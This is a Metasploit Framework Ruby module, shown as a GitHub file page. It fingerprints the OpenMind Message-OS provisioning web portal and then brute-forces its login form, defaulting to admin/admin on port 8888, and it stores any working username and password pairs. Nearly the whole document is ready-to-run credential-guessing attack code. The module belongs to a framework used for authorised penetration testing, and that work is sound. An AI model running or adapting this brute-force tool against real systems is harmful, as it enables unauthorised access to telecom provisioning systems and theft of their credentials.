-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
openmind_messageos_login.rb
136 lines (119 loc) · 3.73 KB
/
openmind_messageos_login.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'OpenMind Message-OS Portal Login Brute Force Utility',
'Description' => %{
This module scans for OpenMind Message-OS provisioning web login portal, and
performs a login brute force attack to identify valid credentials.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(8888),
OptString.new('TARGETURI', [true, "URI for Web login", "/provision/index.php"]),
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "admin"])
])
end
def run_host(ip)
unless is_app_openmind?
return
end
print_status("Starting login brute force...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
#
# What's the point of running this module if the target actually isn't OpenMind
#
def is_app_openmind?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
vprint_error("HTTP Connection Failed...")
return false
end
if (res and res.code == 302 and res.headers['Location'] and res.headers['Location'].include?("/provision/index.php"))
vprint_good("Running OpenMind Message-OS Provisioning portal...")
return true
else
vprint_error("Application is not OpenMind. Module will not continue.")
return false
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
'uri' => target_uri.to_s,
'method' => 'POST',
'vars_post' =>
{
'f_user' => user,
'f_pass' => pass
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
vprint_error("HTTP Connection Failed...")
return :abort
end
if (res and res.code == 302 and res.headers['Location'].include?("frameset"))
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(
ip: rhost,
port: rport,
service_name: 'OpenMind Message-OS Provisioning Portal',
user: user,
password: pass,
proof: res.headers['Location']
)
return :next_user
else
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
end
end